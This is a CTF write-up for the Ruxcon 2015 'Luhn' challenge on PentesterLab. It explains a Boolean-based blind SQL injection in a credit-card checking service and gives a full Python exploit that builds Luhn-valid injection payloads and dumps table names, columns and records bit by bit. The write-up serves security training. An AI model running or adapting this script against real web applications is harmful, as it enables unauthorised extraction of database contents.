Skip to content

Luhn - Ruxcon CTF 2015 SQLi

This exercise is part of the Capture-The-Flag badge and focuses on SQL injection in the Luhn challenge from Ruxcon CTF 2015.

https://pentesterlab.com/exercises/luhn

Luhn algorithm
Luhn algorithm, credit: Stripe

The Luhn algorithm (or “mod 10” check), created by Hans Peter Luhn, is a simple checksum method used to verify identification numbers like credit cards and IMEI numbers. It works by applying a specific pattern of doubling and summing digits to detect common input errors, helping improve data accuracy and reliability—especially for sensitive information.

But:

  • It does not confirm that a number is real or active—only that it follows a valid pattern
  • It cannot detect all types of errors (e.g., some complex digit rearrangements)
  • It provides no security or fraud protection against intentional misuse
  • It shouldn’t be used as the sole method for validating sensitive data

The target application is a simple web service that validates credit card numbers using the Luhn algorithm. Before validation, it strips out all non-numeric characters, ensuring that only digits are processed. If the resulting number satisfies the Luhn check, the application proceeds to query a backend database to determine whether the card has been compromised.

However, the application introduces a critical vulnerability at this stage: it directly embeds user input into an SQL query without proper sanitization or parameterization.

Although the application does not return raw query results, it does reveal a boolean outcome—whether the credit card is “compromised” or not. This behavior effectively creates a Boolean-based blind SQL injection oracle, where the presence or absence of a specific response string can be used to infer truth values of injected conditions.

The attack leverages the application’s binary response as an oracle:

  • If the injected SQL condition evaluates to true, the application returns:

    “Your CC has been compromised”

  • Otherwise, it returns a different response.

Using this behavior, the exploit extracts information from the database bit by bit.

  1. Boolean Oracle Construction The payload is injected in the form:

    1' OR (<condition>) --

    This allows arbitrary SQL conditions to be evaluated.

  2. Numeric Extraction (dumpNumber) Numerical values (e.g., counts, lengths) are reconstructed using bitwise queries:

    (<query>) & (2^p) > 0

    Each bit is tested individually to rebuild the full integer.

  3. String Extraction (dumpString) Strings are extracted character by character using:

    ASCII(SUBSTRING((<query>), i, 1)) & (2^p) > 0

    Each character is reconstructed from its ASCII value, bit by bit.

#!/usr/bin/python3
import requests
import sys
import random
COMPROMISED_MSG = "Your CC has been compromised"
class Luhn:
def validate(self, number: str) -> bool:
"""
Validates a credit card number using the Luhn algorithm.
Processes digits right-to-left: doubles every second digit,
subtracts 9 if result > 9, then checks if total sum % 10 == 0.
"""
# Strip non-digit characters and convert to ints in one pass
digits = [int(d) for d in number if d.isdigit()]
# Luhn checksum: enumerate reversed digits, double every odd index
# Using a generator avoids building an intermediate list
checksum = sum(
(d * 2 - 9 if d * 2 > 9 else d * 2) if i % 2 == 1 else d
for i, d in enumerate(reversed(digits))
)
return checksum % 10 == 0
def generate_valid(self, cc: str) -> str:
"""
Appends digits to `cc` until the full number passes Luhn validation.
If the current digit count is even, append an extra '0' as a
probe digit during validation without committing it to the payload,
ensuring parity alignment for the Luhn doubling pattern.
"""
payload = str(cc)
while True:
next_digit = str(random.randint(0, 9))
# Count only digits already in the payload
digit_count = sum(1 for c in payload if c.isdigit())
# Align parity: if digit count is even, suffix a '0' probe so
# the Luhn check sees an odd-length string and doubles correctly
probe = next_digit + ("0" if digit_count % 2 == 0 else "")
if self.validate("".join(c for c in payload if c.isdigit()) + probe):
# Valid — commit only the chosen digit (drop the probe '0')
return payload + next_digit
# Not valid yet — commit this digit and keep extending
payload += next_digit
class Exploit:
def __init__(self, url: str):
self.url = url
self.session = requests.Session()
def oracle(self, query: str) -> bool:
cc = "1' or ({}) -- ".format(query)
# Generate Luhn valid payload using iterative approach
luhn = Luhn()
valid_cc = luhn.generate_valid(cc)
r = requests.post(self.url, data={"cc": valid_cc})
if COMPROMISED_MSG in r.text:
return True
return False
def dumpNumber(self, q):
length = 0
for p in range(7):
if self.oracle(f"({q})&{2**p}>0"):
length |= 2**p
return length
def dumpString(self, q, length):
val = ""
empty_count = 0
for i in range(1, length + 1):
c = 0
for p in range(7):
if self.oracle(f"ASCII(SUBSTRING(({q}),{i},1)) & {2**p} > 0"):
c |= 2**p
char = chr(c)
val += char
# Early termination if 3 consecutive empty characters
if char == '\x00' or c == 0:
empty_count += 1
if empty_count >= 3:
print(f"[*] Early termination: 3 consecutive empty characters at position {i}")
break
else:
empty_count = 0
return val.strip('\x00')
def dumpTableNames(self) -> list[dict[str, int | str]]:
print("[+] Dumping tables...")
tables_count = self.dumpNumber("SELECT COUNT(*) FROM information_schema.tables WHERE table_schema NOT IN ('mysql', 'information_schema')")
print(f"[+] Tables count: {tables_count}")
tables = []
for i in range(tables_count):
table_name_length = self.dumpNumber(f"SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema NOT IN ('mysql', 'information_schema') LIMIT 1 OFFSET {i}")
table_name = Exploit(URL).dumpString(f"SELECT table_name FROM information_schema.tables WHERE table_schema NOT IN ('mysql', 'information_schema') LIMIT 1 OFFSET {i}", table_name_length)
tables.append({"length": table_name_length, "name": table_name})
return tables
def dumpColumnNames(self, table_name: str) -> list[str]:
print(f"[+] Dumping columns of table: {table_name}")
columns_count = self.dumpNumber(f"SELECT COUNT(*) FROM information_schema.columns WHERE table_name = '{table_name}'")
print(f"[+] Columns count: {columns_count}")
# Use CONCAT to get all column names in one request per row
concat_query = f"CONCAT_WS(',', (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = '{table_name}'))"
concatenated_columns = self.dumpString(concat_query, 50) # Assume max 50 chars for all column names
# Split the concatenated string into individual column names
columns = concatenated_columns.split(',') if concatenated_columns else []
return columns
def dumpRecord(self, table_name: str, columns: list[str]) -> list[str]:
print(f"[+] Dumping values of table: {table_name}")
values_count = self.dumpNumber(f"SELECT COUNT(*) FROM {table_name}")
print(f"[+] Records count: {values_count}")
if not values_count:
return []
records = []
for i in range(values_count):
if len(columns) == 1:
query = f"SELECT {columns[0]} FROM {table_name} LIMIT 1 OFFSET {i}"
else:
col_expr = ", ".join(f"IFNULL({col}, 'NULL')" for col in columns)
query = f"SELECT CONCAT_WS('::', {col_expr}) FROM {table_name} LIMIT 1 OFFSET {i}"
value = self.dumpString(query, 100) # Assume max 100 chars for each record
records.append(value)
return records
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 exploit.py <url>")
sys.exit(1)
URL = sys.argv[1]
print(f"[+] Target: {URL}")
tables = Exploit(URL).dumpTableNames()
print(f"[+] Tables: {tables}") # returns cc, scoring_key
# get columns of scoring_key table
columns = Exploit(URL).dumpColumnNames("scoring_key")
print(f"[+] Columns: {columns}")
# get records from scoring_key table
records = Exploit(URL).dumpRecord("scoring_key", columns)
print(f"[+] Records: {records}")
for record in records:
if "::" in record:
record_id, record_value = record.split("::")
print(f"[+] Record ID: {record_id}, Value: {record_value}")

This line is accumulating bits to reconstruct a number (a character’s ASCII value) from individual boolean oracle responses.


ASCII character has 7 significant bits (the 8th/MSB is always 0 for standard ASCII: values 0–127)

127 -> 01111111

c = 0
for p in range(7):
if self.oracle(f"ASCII(SUBSTRING(...)) & {2**p} > 0"):
c |= 2**p

Each iteration asks the database: “is bit p set in this character’s ASCII value?”


Step by step — say the character is A (ASCII 65)

65 in binary is 01000001, so bits 0 and 6 are set.

p2**poracle asks 65 & 2**p > 0oracle returnsc after c |= 2**p
0165 & 1 > 0True0 | 1 = 1
1265 & 2 > 0Falsestays 1
2465 & 4 > 0Falsestays 1
3865 & 8 > 0Falsestays 1
41665 & 16 > 0Falsestays 1
53265 & 32 > 0Falsestays 1
66465 & 64 > 0True1 | 64 = 65
chr(65) == 'A'
65 = 1 0 0 0 0 0 1
1 = 0 0 0 0 0 0 1
─────────────
& = 0 0 0 0 0 0 1 = 1

& compares each bit position — output is 1 only where both inputs have a 1. Every other bit in 1 is 0, so they all cancel out, leaving only bit 0. Result is either:

0 — bit 0 was not set → oracle returns False 1 — bit 0 was set → oracle returns True

So 65 & 1 = 1, meaning bit 0 is set in 65.


What |= actually does

c |= 2**p is shorthand for c = c | 2**p — bitwise OR, which sets a specific bit in c without touching any of the others:

c = 0000001 (after p=0)
2**6 = 1000000
c | 64 = 1000001 = 65

It’s essentially using c as a bitmap — each oracle response “switches on” one bit until all 7 are resolved and the full ASCII value is reconstructed.